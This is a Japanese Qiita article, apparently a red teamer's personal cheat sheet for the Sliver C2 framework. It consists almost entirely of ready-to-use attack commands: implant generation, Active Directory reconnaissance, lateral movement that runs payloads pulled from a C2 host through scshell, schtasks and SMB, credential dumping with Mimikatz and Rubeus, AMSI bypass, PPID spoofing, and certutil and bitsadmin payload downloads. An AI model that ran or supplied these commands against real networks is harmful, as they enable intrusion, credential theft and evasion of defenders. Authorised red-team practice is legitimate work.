0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Red TeamとしてのSliverコマンド(個人的チートシート)

0
Posted at

初期設定

# C2リスナーの開始
http                           # HTTP 0.0.0.0:80
https                          # HTTPS 0.0.0.0:443 (自動証明書)
mtls                           # mTLS 0.0.0.0:8888 (自動証明書)
pivots tcp --lport <Port>      # 指定ポートでTCPピボットリスナーを開始
# 実行中のリスナー確認
jobs
# 現在のピボットリスナー確認
pivots

インプラント生成

# 基本シェルコード
generate -b https://<IP> -e -f shellcode -N <Name> -s <LocalPath>

# Pivot用
generate --tcp-pivot <pivot_ip>:<pivot_port> -e -f shellcode -N <Name> -s <LocalPath>

# フォーマット別
generate -b https://<IP> -f exe -os windows -arch amd64        # EXE
generate -b https://<IP> -f shared -os windows -arch amd64     # DLL

セッション管理

sessions                    # 全セッション一覧
use <ID|Name>              # セッション切替
info                       # 現在セッション詳細
background                 # バックグラウンド化
fg <ID>                    # フォアグラウンド復帰
kill <ID>                  # セッション終了

偵察・列挙

# 基本情報
whoami
hostname
ipconfig
netstat -ano

# プロセス
ps                           # 全プロセス
ps explorer.exe             # フィルタ

# AD列挙 (StandIn / ADSearch):
execute-assembly -p explorer.exe StandIn.exe --ldap "(&(objectCategory=person)(objectClass=user))" #  全ユーザーを列挙。
execute-assembly -p explorer.exe ADSearch.exe --computers # コンピュータ一覧を取得。
execute-assembly -p explorer.exe StandIn.exe --group "domain admins" # グループメンバーを確認。

# AD偵察 (SharpView)
execute-assembly -i -M -E -t 180 SharpView.exe Get-DomainSID
execute-assembly -i -M -E -t 180 SharpView.exe Get-NetDomain
execute-assembly -i -M -E -t 180 SharpView.exe Get-DomainGroupMember -Identity "Domain Admins"

# 管理者権限 & セッション調査
execute-assembly -p explorer.exe LACheck.exe winrm /ldap:servers-exclude-dc /logons # 管理権限を持つマシンとアクティブなセッションを調査。

# ファイル & 共有調査:
sa-netshares <Host> # リモートホスト上の共有フォルダを列挙。
ls '\\<Host>\c$' # 共有へのアクセスを確認

# Privesc (PowerUp/SharpUp)
execute-assembly -i PowerUp.exe Invoke-AllChecks
execute-assembly -i -M -E -t 180 SharpUp.exe audit

プロセス操作

migrate -p <PID>           # プロセス移行
migrate -p <PID> -pe       # Process Evasion (難読化)
ps <name>                  # PID特定
ps -c -o '<Domain>\<User>' # 指定ユーザー所有のプロセスを引数付きで表示

.NETアセンブリ

# EXE実行
execute-assembly -p explorer.exe -t 180 SharpView.exe Get-NetDomain

# DLL実行 (クラス/メソッド必須)
execute-assembly -p explorer.exe -t 180 PowerUp.dll -c PowerSploit.Privesc.PowerUp -m Invoke-AllChecks

# オプション
-i    # In-process実行
-P <PID>  # PPID偽装

ネットワーク


# SOCKS5
socks5 start --lport 1080
socks5 stop

# Portfwd
portfwd tcp 8080 <target>:<port>

水平展開

# scshell (サービス悪用)
scshell -t 180 <target> ssh-agent 'C:\Windows\System32\cmd.exe /c start /b C:\Windows\Temp\BinLoader.exe <C2> 8080 payload.bin'

# schtasks (リモートSYSTEM)
execute powershell.exe "schtasks /create /s <target> /tn Payload /tr 'BinLoader.exe <C2> 8080 payload.bin' /ru SYSTEM /f; schtasks /run /s <target> /tn Payload"

# SMBコピー + 実行
execute powershell.exe "Copy-Item payload.bin \\\\<target>\\C$\\Windows\\Temp\\; Invoke-Command -ComputerName <target> -ScriptBlock {Start-Process 'C:\\Windows\\Temp\\payload.bin'}"

資格情報取得

# Mimikatz
execute-assembly -p explorer.exe -t 180 Mimikatz.exe "privilege::debug \; sekurlsa::logonpasswords \; exit"
# EKEYS抽出
execute-assembly -P lsass -p lsass.exe mimikatz-ekeys.exe.packed.dotnet.exe

# Rubeus (Kerberos)
execute-assembly Rubeus.exe "asktgt /user:<user> /rc4:<ntlm> /ptt"

検知回避

# AMSIバイパス
execute-assembly -i -M -E -t 180 /path/to/tool.exe [args]

# Window非表示
execute -p powershell.exe "-w hidden -c <command>"

# ファイルダウンロード (低検知)
execute cmd.exe "bitsadmin /transfer job1 http://<C2>/payload.bin C:\\Windows\\Temp\\payload.bin"
execute cmd.exe "certutil -urlcache -split -f http://<C2>/payload.bin C:\\Windows\\Temp\\payload.bin"

BloodHound収集

# SharpHound
execute-assembly SharpHound.exe -c All

# 手動
execute powershell.exe "Invoke-BloodHound -CollectionMethod All -ZipFileName C:\\temp\\bh.zip -Domain <domain>"

運用

# 同時実行
execute -o -S <command>    # Output + Suppress echo

# ファイルアップロード
upload <local> <remote>

# ファイルダウンロード
download <remote> <local>

# タイムアウト付き
execute -t 180 <command>
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?